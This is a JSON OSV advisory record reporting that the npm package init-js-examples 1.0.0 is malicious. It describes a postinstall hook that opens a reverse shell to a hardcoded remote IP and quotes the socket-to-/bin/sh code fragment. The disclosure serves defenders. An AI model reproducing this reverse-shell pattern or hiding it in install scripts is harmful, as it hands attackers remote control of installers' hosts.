{"id":"MAL-2026-10996","revision":"5e210807883d4ee3b33651377041f4ff","records":[{"revision":"5e210807883d4ee3b33651377041f4ff","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-10996","aliases":[],"title":"Malicious code in init-js-examples (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (6005f6b51f3286b65f92b6c8dd73d51c744f89428bbb238f2186b61b7112e6c2)\nThe package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, \"130.61.90.45\") with cp.spawn(\"/bin/sh\") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running `npm install init-js-examples` automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.\n","state":0,"publishedAt":"2026-07-22T20:24:58+00:00","modifiedAt":"2026-07-23T07:51:42.369077+00:00","affected":[{"ecosystem":"npm","name":"init-js-examples","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/init-js-examples/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-10996","license":"OSV · upstream source license applies","key":"osv:MAL-2026-10996","identifiers":["MAL-2026-10996"]},"retained":false,"historicalAffected":[]}],"coverage":[]}